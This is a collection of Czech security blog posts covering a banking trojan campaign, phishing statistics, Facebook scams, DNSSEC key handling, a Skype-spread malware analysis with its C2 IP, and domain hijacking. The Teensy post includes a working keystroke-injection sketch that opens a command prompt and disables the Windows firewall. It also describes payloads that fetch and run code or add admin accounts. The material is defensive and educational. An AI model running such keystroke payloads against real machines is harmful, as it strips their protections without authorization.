Nový a velmi efektivní bankovní trojský kůň míří na uživatele v České republice, Portugalsku, Turecku a ve Velké Británii. Pokud jste zaznamenali e-mailovou kampaň, před kterou jsme před časem varovali na našich stránkách Aktuálně z bezpečnosti, pak Vám určitě neuniklo, že tento e-mail, který předstíral, že byl odeslán jménem České pošty, ve skutečnosti vedl ke stažení neznámého malwaru. Nyní se ukazuje, že se jedná o rozsáhlou akci, při které jsou ve čtyřech evropských zemích zneužívány etablované společnosti, jejichž jménem je šířen nový a podle bezpečnostních analytiků velmi sofistikovaný trojský kůň.
Ukazuje se, že Win32/Spy.Hesperbot je velmi silný bankovní trojský kůň s mnoha „užitečnými“ funkcemi, jako je logování zmáčknutých kláves, vytváření screenshotů a nahrávání videa. Dokáže také spustit vzdálenou proxy, vytvořit skrytý VNC server umožňující vzdáleně ovládat infikovaný počítač a další „vychytávky“. Samozřejmě, jak je u bankovních trojanů obvyklé, dokáže sledovat síťový provoz a za běhu injektovat HTML.
Cílem útočníků je získat přihlašovací údaje do bankovních účtů obětí a zároveň donutit oběti k instalaci dalšího malwaru na jejich Android, Symbian, či Blackberry telefony.
Kampaň šířící tento malware začala v České republice 8. srpna. Rozesílaná zpráva se tvářila jako služba sledování balíku poskytovaná Českou poštou. Útočníci si za tímto účelem pořídili doménu ceskaposta.net, na kterou vedl skutečný odkaz z e-mailu, ve kterém bylo samozřejmě napsáno www.ceskaposta.cz, avšak odkaz směřoval právě na doménu www.ceskaposta.net. Podle informací z blogu společnosti Eset jdou v České republice počty obětí tohoto nového trojského koně v řádu desítek. Došlo však prý k významným finančním ztrátám v souvislosti s infikováním tímto novým malwarem.
Nakonec ještě připojím tabulku se seznamem českých bank, jejichž klienti jsou zatím terčem útoku tohoto nového viru. Tento seznam byl pořízen na základě analýzy konfiguračních souborů používaných injektovacími a odposlouchávacími moduly nového malwaru.
Uživatelům, kteří na odkaz z uvedené e-mailové zprávy reagovali, doporučujeme provést důkladnou antivirovou kontrolu a další kroky vedoucí k zabezpečení jejich bankovního konta (změny hesla, PINu) konzultovat s jejich bankovním ústavem.
Pavel Bašta
Počet phishingových útoků v doméně .CZ se opět snížil
Další zpráva sdružení APWG zabývající se phishingovými útoky přináší výsledky měření za druhé pololetí roku 2012. Vytrvalé monitorování a rychlá reakce na zjištěné phishingové útoky, jimž se věnují oba naše CSIRT týmy (národní CSIRT.CZ, interní CZ.NIC-CSIRT), zdá se odrazují útočníky od zneužívání domény .CZ čím dál více. Zatímco v předchozích dvou pololetích bylo v doméně .CZ 171 (2/2011) a 170 (1/2012) phishingových útoků, v druhém pololetí roku 2012 bylo takových útoků již pouze 135.
Nejvíce zneužívané domény prvního řádu
Došlo také k dalšímu snížení ukazatele počtu phishingových útoků na deset tisíc registrovaných doménových jmen v zóně .CZ. V současné chvíli je tento ukazatel rovný číslu jedna, což oproti minulému pololetí představuje zlepšení o jednu desetinu procenta. Opět také poklesl průměrný uptime phishingových stránek v doméně .cz, a to z předchozích 39 hodin a 41 minut na 24 hodin a 56 minut. Podle výzkumů organizací, které se boji s phishingem věnují, mají phishingové stránky největší výtěžnost během prvních 24 hodin. Tedy již se blížíme hranici, při které se útočníkům přestane phishing v naší národní doméně vyplácet. Jediný ukazatel, který se od minule zvýšil, je medián uptimu. Ten stoupl z 13 hodin a 54 minut na 15 hodin a dvě minuty. I tak si ale myslím, že jsme si celkově velice polepšili.
Na závěr bych chtěl proto touto cestou poděkovat všem administrátorům, se kterými naše týmy při řešení útoků spolupracují, za jejich příkladnou spolupráci při odstraňování phishingových stránek na jimi provozovaných serverech.
Pavel Bašta
K čemu slouží facebookový „like“ scam?
Určitě jste již někdy slyšeli o facebookové hře Farmville. Ale říká vám něco pojem Like-farming? Jedná se o sbírání „lajků“, tedy v podstatě fanoušků, pro konkrétní facebookovou stránku. Vlastně mě k sepsání tohoto blogpostu inspirovala pozvánka, kterou jsem nedávno dostal a která vedla na stránku „Tvůj Rodokmen aneb: Poznej své předky!
Snad ani netřeba zdůrazňovat, že žádný rodokmen nezískáte.
Podobných podvodných stránek vzniká na Facebooku celá řada. Jejich primárním cílem je nějakým způsobem nalákat uživatele, aby se stali fanouškem stránky a zároveň do ní pozvali své další přátele. Za tímto účelem se používají obvykle dvě taktiky: první něco slibuje (lechtivé video s celebritou, výhru iPhonu, iPadu, změnu vzhledu facebookové stránky, či třeba možnost sledovat, kdo si prohlížel váš facebookový profil), druhá je zastrašující (pokud nesouhlasíte se zpoplatněním využívání Facebooku, pak dejte like). Podobným skupinám je tedy vhodné se vyhnout. Pokud si nejste jisti, můžete využít například stránku facecrooks.com.
Cui bono? To je ta otázka, o kterou zde kráčí. Možná si říkáte, k čemu taková stránka může někomu být? Tak například často bývá podmínkou získání slíbené odměny požadavek na vyplnění nějaké ankety. Za to, že věnujete svůj čas jejímu vyplnění, však dostává zaplaceno majitel stránky, Vy se samozřejmě slíbené odměny, například ve formě růžového facebookového profilu, nedočkáte. Jiný způsob výdělku spočívá ve zobrazování reklamy fanouškům stránek nebo v přímém prodeji takto vybudované stránky dalšímu zájemci.
Poptávka po stránce s více než 50 tisíci fanoušky.
A nabídka (stránky již byly prodány).
Nejhorší možnou variantou je zneužití takovéto skupiny k šíření malware, například formou odkazu na video, které prostě musíte vidět. Samozřejmě místo videa budete vyzváni ke stažení přehrávače videa. Tento soubor však ve skutečnosti obsahuje malware, který ukradne vaše citlivá data a použije váš účet k dalšímu šíření odkazů na tento malware.
Doufám, že po přečtení tohoto krátkého článku budete při používání Facebooku zase o trochu obezřetnější a že nedáte zbytečně šanci vykukům, kteří vydělávají na lidské naivitě. Tak schválně, každý kdo dá like na tento článek, tomu se na facebookové stránce zpřístupní možnost sledovat soukromou korespondenci ostatních uživatelů.
Pavel Bašta
Vše, co jste kdy chtěli vědět o zabezpečení podpisu zóny .cz (ale báli jste se zeptat)
Možná jste někdy přemýšleli, jakým způsobem je zajištěna bezpečnost při podepisování naší národní domény .cz a zda podepsání vaší vlastní domény nemůže ohrozit špatné zabezpečení domény nadřazené, tedy té .cz. O ceremonii kolem generování klíče KSK pro kořenovou zónu a o jeho zabezpečení jste se mohli dočíst například v tomto článku. Náš kolega Ondřej Surý je totiž jedním ze sedmi lidí na světě, kteří vlastní SMK kartu nezbytnou pro obnovení KSK klíče kořenové zóny. Jeho rady a zkušenosti nám také pomohly při vytváření našich vlastních procesů a pravidel nutných pro co nejbezpečnější provozování DNSSECu v zóně .cz.
Aby byla zvýšena bezpečnost při nakládání s KSK klíčem, je jeho správa oddělena od správy ZSK klíčů. Ty jsou používány při podepisování zóny pomocí DNSSEC a slouží k podpisu všech záznamů v zóně, zatímco KSK klíč slouží pouze k podepisování všech DNSKEY záznamů.
Členové KSK týmu při KSK ceremonii
Samotné vybavení nezbytné pro realizaci KSK ceremonie, včetně notebooku, zařízení s uloženým KSK klíčem i bootovacího CD s Linuxem je uloženo v trezoru v sídle našeho sdružení. Vlastně to není tak docela přesné, protože v trezoru je ještě jedna schránka s vlastním zámkem, ve které jsou tyto nezbytnosti uloženy. Každý z členů KSK týmu má klíč pouze od trezoru, nebo od vnitřní schránky. Není tedy možné, aby někdo z KSK týmu sám vyjmul z trezoru jakoukoliv součást vybavení pro KSK ceremonii. Další kopie KSK klíčů a bootovacího CD jsou pro případ katastrofy uloženy také v trezoru banky.
Notebook má fyzicky odpojené bezdrátové sítě a je z něj vyjmutý harddisk, aby nebylo možné se na něj jakýmkoliv způsobem bezdrátově připojit a abychom se vyhnuli riziku nějakých zbytkových dat v cache, uložených mimo naši kontrolu. K bootování se používá CD s Ubuntu 12.0.4 LTS, upraveným pro potřeby ceremonie.
Pokud jde o generování nového KSK klíče, je při generování klíčů vždy přítomen jeden zástupce managementu. Po vygenerování nového klíče je získán hash tohoto klíče, který je zaprotokolován. Podepsané kopie dokumentu jsou následně rozdány všem držitelům klíčů od trezoru (členům KSK týmu), aby si kdykoliv v průběhu ceremonie mohli zkontrolovat, že se používá správný KSK klíč.
V případě potřeby podepsat novou sadu ZSK klíčů je tato nová sada podepsána GPG klíčem ZSK týmu a předána zástupcům KSK týmu. Ti musí být vždy minimálně dva a po celou dobu ceremonie se pohybují společně. Skript, který se stará o samotné podepsání, je zkontrolován ještě před podepsáním nové sady a to proto, aby byla žádost podepsána správným GPG klíčem ZSK týmu. Po podepsání je výsledná podepsaná sada ZSK klíčů opět podepsána pomocí GPG klíče KSK týmu tak, aby si následně členové ZSK týmu mohli být jisti, že manipulují se správnou sadou klíčů.
Celá ceremonie pro podepisování zóny .cz může působit jako poměrně složitá. Naším cílem však bylo poskytnout držitelům domén v zóně .cz jistotu, že ke kompromitaci KSK klíče a tím ohrožení bezpečnosti jejich domény nemůže dojít.
Pavel Bašta
Zajímavé statistiky a jedno potěšující umístění
Dnes bychom se s vámi rádi podělili o dvě novinky, které se dotýkají tématu, jenž nás velmi zajímá a ve kterém se snažíme co nejvíce angažovat. Jak už možná tušíte, jedná se o bezpečnost uživatelů na Internetu a o hrozby, které na ně číhají. Tentokrát se budeme věnovat novým statistikám týkajícím se bezpečnosti. Začněme nejdříve tou obecnější.
Koncem června spustila společnost Google novou sekci v rámci svého transparency reportu nazvanou Bezpečné prohlížení. Tato stránka umožňuje nahlédnout do statistik získávaných díky jejich službě Google Safe Browsing, která aktivně vyhledává nebezpečné stránky a získaná data nabízí prohlížečům. Ty pak mohou varovat uživatele před návštěvou takovýchto stránek. Možná jste se již také ve vašem prohlížeči setkali s následujícím varováním.
Varování prohlížeče před nebezpečným obsahem
Google Safe Browsing sleduje jak výskyty stránek zneužitých k phishingovým aktivitám, tak stránky sloužící k šíření malware. Statistiky si lze nechat zobrazit podle autonomního systému, nechybí ani rozdělení na stránky záměrně útočné a stránky, které byly pouze zneužity.
K dispozici je také souhrnná mapa, která ukazuje procentuální množství napadených stránek vzhledem k celkovému počtu stránek, které Google v dané zemi kontroloval. Nás může těšit, že z testovaných webů v ČR obsahovala škodlivý malware jen čtyři procenta, což v porovnání s okolními státy není špatné.
Mapa po najetí kurzoru nad konkrétní stát ukazuje
procento nebezpečných stránek nalezených službou Google Safe Browsing.
Je zde také možnost podívat se na autonomní systémy dle regionu. Poskytovatelé služeb v konkrétní zemi se tak mohou podívat, jak si jejich síť stojí v porovnání s ostatními a případně se zaměřit na zlepšení boje s nebezpečným obsahem.
Další příjemnou zprávu nám zanechala společnost Architelos na našem Twitteru. Pogratulovala doméně .cz k dobrému umístění (v sekci Excellent) v jejich reportu týkajícím se bezpečnosti webových stránek provozovaných na jednotlivých doménách prvního řádu. Jejich služba NameSentry, na jejímž základě byl report sestaven, pracuje s daty ze služeb jako jsou Internet Identity, SURBL, Spamhaus, MalwareURL, ZeusTracker, SpyeyeTracker, či Malware Domain List. Toto umístění nás velmi těší, je vidět, že i přes skutečnost, že si .cz doménu mohou registrovat i zájemci ze zahraničí, což vždy zvyšuje riziko nákupu doménových jmen za účelem jejich zneužití, doména .cz počítačové zločince nepřitahuje. Jistě na to mají vliv i pravidla pro nakládání s takovýmito doménami, která jsou jasně zakotvena v pravidlech registrace .cz domény, a také preventivní činnost našeho bezpečnostního týmu, který upozorňuje majitele doménových jmen v případě, kdy dojde ke zneužití jejich doménového jména.
Hledejte nás v tom zeleném sloupečku :-)
Pavel Bašta
Teensy jako nástroj pro penetrační testování
USB je stále často podceňovaným místem, přes které může být kompromitován operační systém. Kromě klasického šíření malware pomocí USB Mass storage disků, Flash disků s podporou U3, které umožňují obejít dnes již ve většině operačních systémů existující blokaci autorun funkce, a hardwarových keylogerů stojí za pozornost programovatelná zařízení, která se vůči systému chovají jako klávesnice. Jedno takové zařízení bych tu dnes chtěl krátce prezentovat.
Pro fanoušky open-source platformy Arduino nebude pravděpodobně ani Teensy zcela neznámé. Pro ty, kteří zatím neměli tu čest, jen krátké představení. Jedná se o jednočipové počítače, které jsou vhodné pro různé jednoúčelové aplikace jako je řízení, či regulace. Takové Arduino můžete například použít k řízení nějakého vašeho vozítka či na něm naprogramovat jednoduchý webový server a připojit jej k internetu. My se však dnes zaměříme na Teensy a především na možnost využití tohoto zařízení k penetračnímu testování.
Toto zařízení má totiž hned tři výhody, je malé, takže se snadno vměstná například do útrob počítačové myši, jeho pořizovací cena je kolem $20 a především, z pohledu počítače se umí hlásit jako MIDI/USB/HID zařízení, což mimo jiné znamená, že počítač jím zadaná data interpretuje jako povely od uživatele. Tady se právě otevírá cesta pro využití při penetračním testování. Ale pojďme pěkně po pořádku.
Teensy ++ 2.0 ve srovnání s běžným flash diskem
Kromě samotného zařízení – já jsem vše testoval na Teensy ++ ve verzi 2.0 – potřebujeme ještě obslužný software. Pokud si chcete následující proceduru ušetřit, můžete sáhnout po distribuci Backtrack 5 R3, kde už je jak ADE, tak i podpora pro Teensy implementována. V opačném případě na této adrese stáhneme nejdříve Arduino Development Environment (ADE) pro námi požadovanou platformu a rozbalíme jej na disk. Pokud pracujeme na linuxu, pak musíme ještě udělit non-root uživatelům práva k použití Teensy.
sudo cp 49-teensy.rules /etc/udev/rules.d/
Arduino software však sám o sobě nepodporuje Teensy, je proto potřeba podporu pro Teensy doinstalovat. Stáhneme tedy instalátor rozšíření teensyduino pro náš OS a spustíme jej. Během instalace teensyduino budeme vyzváni k zadání cesty k rozbalenému software pro Arduino. V aplikaci ADE by se měla nyní objevit podpora pro Teensy. Po spuštění programu ještě vybereme naši desku, v mém případě Teensy ++ 2.0 a jako USB Type nastavíme kombinaci Keyboard+Mouse+Joystick.
Nastavení programu Arduino Development Environment
Nyní již zbývá jen připojit naše zařízení. Pokud si chceme ověřit, že vše správně funguje, můžeme nahrát náš první program. Než se pustíme do vlastních programů, můžeme využít předpřipravené ukázky. Pod File –> Examples –> Teensy najdeme množství připravených prográmků, kterým se zde říká Sketch. Na první vyzkoušení doporučuji položku Tutorial1 –> Blink. Po nahrání zdrojového kódu klepneme na upload, náš sketch se automaticky zkompiluje a nahraje do zařízení. Po úspěšném nahrání by na zařízení měla začít blikat dioda. Pokud se tak nestalo, zkuste zmáčknout tlačítko, které je na desce.
Pro psaní vlastních programů použijeme jazyk Arduino Programmable Language, lze však použít i klasický programovací jazyk C. Každý sketch musí vždy obsahovat funkce setup a loop, jinak jej kompilátor nepřijme.
Základ každého programu pro Teensy
Začněme klasikou, následující program, díky skutečnosti, že se Teensy chová po připojení k počítači jako klávesnice, vypíše „Hello World“.
void setup()
{
Keyboard.print("Hello World");
}
void loop()
{
}
Pro informaci, pokud bychom příkaz umístili do smyčky loop, bude se Hello World vypisovat stále dokola. Nyní se pojďme podívat, jaké další zajímavé věci můžeme vyzkoušet.
Pokud se podíváme na tuto adresu, můžeme si najít informace o možnostech zadání všech obvyklých znaků. Zajímavé jsou také Modifier Keys, což jsou funkční klávesy, kde například MODIFIERKEY_GUI je vlastně klávesa WIN. Pojďme se nyní podívat, jakým způsobem může této skutečnosti využít útočník. Následující sketch provede tyto kroky – na začátku vyčká 5000ms, to aby došlo ke korektnímu připojení zařízení k operačnímu systému. Dále spustí klávesovou zkratku WIN R, což ve windows vyvolá okno pro spuštění programu. Do něj pak zapíše příkaz cmd pro spuštění příkazové řádky. Ve finále pak příkazem netsh firewall set opmode disable vypne firewall ve windows.
void setup()
{
delay(5000);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
delay(500);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("cmd");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
delay(2000);
Keyboard.print("netsh firewall set opmode disable");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void loop()
{
}
Takto po připojení k počítači s OS windows dojde k vypnutí firewallu, na což windows zareagují informací o možném ohrožení počítače
Jak je vidět, Teensy se skutečně chová z pohledu PC jako klávesnice. Díky možnostem, které nabízí unixové shelly nebo třeba powershell ve windows, otevírá toto zařízení zajímavé možnosti při penetračním testování. Představte si, že toto zařízení zamaskujete jako počítačovou myš, USB disk či nějaký USB gadget a necháte jej ležet na vhodném místě, třeba na recepci a nahrajete do něj vlastní kód, který pomocí powershellu například přidá nový účet a spustí remote desktop. I přes fakt, že si většina těchto prográmků otevře nejdříve okno pro zadávání příkazů, jsou prý útoky pomocí tohoto zařízení úspěšné. Pokud si však jako oběť vybere útočník počítač běžného firemního uživatele, asi to není zas až tak divné. Ze své osobní zkušenosti ze společnosti, kde se používala Active Directory a kde se při každém přihlášení počítače spouštěli různé skripty, mohu říci, že jedno okno s MSDOS navíc bych při přihlášení nejspíš také nezaregistroval.
Osobně jsem se o tomto zajímavém zařízení dozvěděl při prezentaci o programu kautilya napsaném v jazyce Ruby, který umí generovat různé ukázkové sketche pro Windows, Linux i OS X zaměřené právě na penetrační testování.
Starší verze programu Kautilya ještě bez podpory OS X je již součástí distribuce Backtrack
Jeden z těchto sketchů dokáže například stáhnout spustitelný kód uložený na serveru pastebin v textovém formátu, převést jej zpět na exe a spustit jej na pozadí na počítači oběti. Další zase dokáží přidat nového administrátora, povolit vzdálenou plochu, či na pozadí spustit instanci prohlížeče s konkrétní URL.
Pojďme si ještě krátce říci, jak se lze proti zneužití takovéhoto zařízení vůči námi spravovaným počítačům bránit. Ve světě operačních systémů společnosti Microsoft můžeme pomocí skupinové politiky zakázat běžným uživatelům instalaci nového hardware. V linuxu pak můžeme pomocí UDEV rules například povolit pouze známá zařízení.
Microsoft nabízí přes gpedit.msc několik způsobů pro blokování instalace nových zařízení
Pavel Bašta
Jak se chytá malware
Včera jsme od jednoho uživatele z ČR obdrželi odkaz (http://www.goo.gl/XXXXXXX=IMG0540240-JPG), který dostal jeho známý přes Skype. Byli jsme požádáni o informaci, co se mohlo na tomto počítači stát, jaké to mohlo mít dopady a jak se případného viru zbavit. Zkusili jsme tedy analyzovat zaslaný odkaz v předem připraveném virtuálním prostředí. Samotná návštěva odkazu (zamaskovaný odkaz ve skutečnosti míří na IP adresu 94.242.198.64) vede k tomu, že je uživateli nabídnut ke stažení soubor s názvem IMG0540240-JPG.src.
Nepozorný uživatel snadno přehlédne skutečnou koncovku souboru, kterou je .scr
Po spuštění programu se v domovském adresáři aktuálního uživatele vytvoří složka S-500-9430-5849-2045, která je nastavena jako skrytá a systémová, takže při běžném nastavení Windows ji uživatel nevidí. V této složce je pak umístěn soubor winmgr.exe. Zároveň je do registrů přidán klíč Microsoft Windows Manager, kvůli zajištění automatického spuštění malwaru po startu Windows.
Program se po spuštění pokouší o připojení na IP adresu 94.242.198.64 na port 5050. Při našem prvním testu se mu to také podařilo, stáhl si instrukce a začal se pokoušet o rozesílání e-mailové pošty. Předpokládáme, že pokud by na testovacím systému byl funkční Skype, malware by se pokoušel šířit i jeho prostřednictvím. Bohužel se však v tu chvíli testovací systém odporoučel a nemáme tak k dispozici zachycené pakety pro detailnější analýzu. Při pozdějších pokusech se již malwaru se serverem kontaktovat nepodařilo. Server je nyní odpojen. Otázkou je, zda je to pouze dočasné nebo již byl odpojen definitivně.
Paket zachycený programem wireshark
Který program se pokouší o připojení lze dobře sledovat také pomocí programu TCPView
Soubor winmgr.exe jsme otestovali pomocí on-line nástroje virustotal.com a v současné chvíli jej rozpozná pouze 12 ze 46 antivirových programů. Bohužel mezi těmi „slepými“ jsou v současné chvíli i antiviry, které jsou hojně používané v ČR. Naštěstí podle analyzátoru společnosti Google na tento odkaz klikají především uživatelé v okolních zemích. Nelze však vyloučit, že u nás koluje jiný odkaz směřující na stejný malware a že tento odkaz může mít v ČR daleko více kliknutí.
Antiviry jsou zatím slepé
Na tento odkaz již kliklo 137 069 uživatelů
Jako obranu doporučujeme v první řadě neklikat na příchozí odkazy upozorňující uživatele na údajné fotky, na kterých by měli být zobrazeni, i když záminky, které mají uživatele donutit ke kliknutí, se mohou měnit. Pokud však již uživatel na odkaz kliknul a soubor spustil, je potřeba zachovat klidnou hlavu a v první řadě ukončit přes správce úloh proces winmgr.exe. Dále je potřeba smazat samotný soubor winmgr.exe ve složce S-500-9430-5849-2045. Je však potřeba nejdříve zapnout zobrazování skrytých a systémových souborů. Pak ještě odebereme z registrů klíč Microsoft Windows Manager a po restartu by mělo být již vše v pořádku.
Tento malware se nezdá být příliš sofistikovaný. Jeho závislost na jednom serveru i jeho relativně snadné odstranění ze systému ukazují spíš na práci někoho, kdo si možná jen chtěl vyzkoušet své možnosti. Přesto náš další krok bude distribuce vzorku tohoto malware antivirovým výrobcům.
UPDATE: Po napsání tohoto blogpostu se server na IP adrese 94.242.198.64 opět rozběhl. Stávající malware si z něho poté stáhl bratříčka, soubor bget.exe. Ten se v systému zahnízdil jako soubor 0584105130.exe v adresáři LOCALS~1\Temp\ v domovském adresáři uživatele. Tento soubor se v registru nachází hned na několika místech. Je tedy potřeba prohledat registr na výskyt „0584105130“ a všechny klíče odstranit. Po tomto kroku doporučujeme provést preventivní kontrolu systému některým z bootovatelných antivirových CD.
Pavel Bašta
Nežijeme v bublině
V ČR nežijeme v bublině, které by se netýkaly problémy počítačové bezpečnosti. Proto bychom se po delší době chtěli opět podělit o některé zajímavé incidenty, se kterými jsme se v průběhu přibližně posledního roku setkali. U některých z nich je navíc zajímavé, že jste se o nich mohli dozvědět jako o něčem, co se někde odehrává, ale co si možná podvědomě představujeme jako něco, co se děje tam někde „venku“. Děje se to však i u nás, a proto je potřeba věnovat otázce počítačové bezpečnosti adekvátní prostor. Snad vás o tom přesvědčí i příklady některých incidentů, které jsme v CSIRT.CZ řešili, a které ukazují, že bezpečnost se týká nás všech, uživatelů i administrátorů. Z důvodů zachování anonymity zainteresovaných stran bohužel nemůžeme být příliš konkrétní, ale i přesto doufám, že pro vás budou následující řádky varováním.
V červnu minulého roku nás CERT-EU informoval o útoku, při kterém byla uživatelům v některých zemích odeslána e-mailová zpráva, která vypadala jako oficiální komunikace Evropské komise. V té chvíli jsme ještě netušili, že neznámý malware obsažený v přiloženém MS Word dokumentu a v rámci ČR odeslaný úředníkům jednoho českého ministerstva a jedné zdejší bance vstoupí do dějin jako špionážní malware Red October. O jeho existenci byla veřejnost informována v lednu tohoto roku, kdy se ukázalo, že po několik let sledoval vládní, diplomatické a výzkumné organizace ve východní Evropě. To, že se podařilo díky spolupráci CSIRT týmů v Evropě zabránit infikování desítek uživatelů v různých institucích půl roku před objevením tohoto malware, považujeme za slušný úspěch.
V posledním půl roce také pravidelně spolupracujeme s US-CERT a to v souvislosti s výskytem botnetu, který pro své fungování využívá webové servery. Šíří se především prostřednictvím zranitelných verzí známých redakčních systémů, jako je Joomla či WordPress. I když se může na první pohled zdát, že zranitelných webů je méně než zranitelných domácích počítačů, menší počet jednotlivých zapojených „botů“ útočníkům vynahradí rychlé linky, na kterých jsou obvykle servery připojené. Takto napadené servery se dle našich informací momentálně zneužívají především pro DDoS útoky na cíle v USA. V podstatě každý týden dostáváme informace o desítkách nových webových serverů v ČR, které jsou tímto způsobem zotročeny.
Za zmínku také stojí spolupráce CERT.BE, který získal logy přístupů na webovou stránku umístěnou na serveru v Belgii. Tato stránka šířila nebezpečný malware, který některé antivirové programy vůbec nedokázaly detekovat. Mezi počítači, které tento web navštívily, bylo také několik IP adres z České republiky. Podle informací, které jsme od námi kontaktovaných správců obdrželi, se skutečně tyto počítače při návštěvě tohoto webu nakazily a jejich uživatelé neměli vůbec tušení, že jejich počítač je infikován.
Začátkem března jsme se také podíleli na distribuci informací o novém rootkitu pro Linux, který se v systému usadí v podobě knihovny spojené s SSHD a u kterého zatím není jasné, jakým způsobem se do systému dostává. Mezi potenciálně infikovanými servery bylo i několik serverů z ČR.
Na závěr bych ještě zmínil, že jsme se již setkali také s případem vydírání, kdy bylo po jednom menším serveru požadováno „výpalné“ s tím, že dokud nezačne platit, bude na něj pravidelně podnikán DDoS útok.
Jak je vidět, kybernetická kriminalita a útoky se nevyhýbají ani České republice a je třeba na to pamatovat při naší každodenní práci, ať už z pohledu uživatele, nebo z pohledu správce IT.
Pavel Bašta
It’s getting better all the time….
Jak se zpívá v jedné geniální písni od Beatles, pořád se to zlepšuje. A o čem že to mluvím? Přece o statistikách APWG, o kterých jsem tu již jednou psal. Minulý měsíc totiž APWG vydalo svou zprávu zaobírající se čím jiným než problematikou phishingu. Zpráva se týkala prvního pololetí roku 2012.
Počet phishingových útoků v doméně .cz se sice od minulého pololetí již příliš nezměnil, v 2/2011 to bylo 171, v minulém pololetí pak 170, ale průměrný uptime opět poklesl, tentokrát ze 41 hodin a 10 minut v 2/2011 na 39 hodin a 41 minut v prvním pololetí tohoto roku. Také medián uptimu poklesl ze 14 hodin a 46 minut na 13 hodin a 54 minut. Počet domén .cz zneužitých k phishingu na 10 tisíc registrovaných domén se pak snížil z 1,2 na 1,1.
Bohužel druhý z našich zdrojů, organizace phishtank, již nadále nezobrazuje informace o phishingových aktivitách v souvislosti s delegací IP adres do jednotlivých států. Přišli jsme tak o zajímavý zdroj informací, který je těžké nahradit. Většina analýz a reportů týkajících se bezpečnosti se totiž zabývá pouze prvními deseti či dvaceti státy, které jsou na tom v dané problematice nejhůře. Může nás tedy hřát fakt, že se v těchto nelichotivých žebříčcích nevyskytujeme. Na druhou stranu by bylo pěkné vědět, jak si naše země stojí například v meziročních, či mezičtvrtletních porovnáních.
Závěrem tedy aspoň jeden optimistický obrázek ze zprávy IT Threat Evolution za třetí čtvrtletí tohoto roku, který ukazuje, že Česká republika je na tom z hlediska rizika nákazy prostřednictvím webových stránek velmi dobře. Lépe jsou na tom pouze některé africké země, kde je to však dáno především nízkou penetrací internetu jako takového.
Riziko online infekce podle zemí, Q3 2012:
Pokud byste o nějaké databázi zneužitých IP adres, kde by bylo možno zjistit, jak si vedou jednotlivé státy, věděli, budeme rádi, pokud se s námi o ni podělíte v diskuzi pod článkem. A nemusí se jednat pouze o databáze IP adres či domén zneužitých k phishingovým útokům, ale obecně k jakémukoliv útoku na uživatele.
Pavel Bašta
Únos domény google.ie! Může se to stát i u nás?
Minulý týden došlo k velmi závažnému bezpečnostnímu incidentu v doméně .ie, což je doména Irské republiky. Podle dostupných informací se útočníkovi pravděpodobně podařilo získat přihlašovací údaje jednoho registrátora, díky nimž pak mohl v centrálním registru domény .ie změnit DNS servery domén google.ie a yahoo.ie. To mu poté umožnilo nasměrovat domény na vlastní servery, kde mohl vystavit svůj vlastní obsah či přijímat poštu pro tyto domény. Některé služby registru .ie domény jsou ještě v době psaní tohoto článku nedostupné a vyšetřování stále pokračuje. Nás samozřejmě nejvíc zajímá, zda by k podobné situaci mohlo dojít i u nás. Pojďme si tedy připomenout možnosti, kterými mohou držitelé své domény chránit před případnými neautorizovanými změnami provedenými registrátorem a možná i připomeňme, jakým způsobem je chráněn samotný centrální registr před neautorizovaným přístupem.
Nejprve tedy zkusme vysvětlit, jakým způsobem je chráněn samotný přístup do registru domény .cz. Přístup k registru je možný pouze na základě platných přihlašovacích údajů, s platným certifikátem a z předem dohodnutých IP adres. Samotná znalost přihlašovacích údajů není tedy pro přístup dostatečná. Útočník by musel proniknout na server registrátora, který má do registru povolený přístup z konkrétní IP adresy, má k dipozici platný certifikát a přihlašovací údaje. Z tohoto serveru by pak bylo možné změnu záznamů uskutečnit. V současné chvíli nemáme k dispozici informace o způsobu zabezpečení irského registru. Není tedy možné vyloučit, že irský registr má stejné zabezpečení jako ten český a že se skutečně podařilo útočníkovi proniknout na server registrátora a z něj změny uskutečnit.
I pro tento případ nabízí centrální registr domén .cz držitelům domén další stupeň zabezpečení. Na našich stránkách je možné pomocí jednoduchého formuláře požádat o zablokování transferu domény nebo dokonce zablokování provedení jakékoliv změny na objektech v doméně. V případě, kdy držitel na doméně zablokuje veškeré změny, nemůže k takovému problému, jaký nastal v doméně .ie, vůbec dojít. Na rozdíl od žádosti o heslo nelze odblokování a zablokování domény uskutečnit s pomocí registrátora. Pokud chce držitel zablokovat nebo odblokovat svou doménu, musí se obrátit přímo na naše sdružení.
Jak je vidět z příkladu incidentu v registru .ie, bylo zavedení této nadstandardní možnosti pro naši národní doménu velmi užitečným krokem. Jeho využití lze proto držitelům důležitých domén rozhodně doporučit.
Pavel Bašta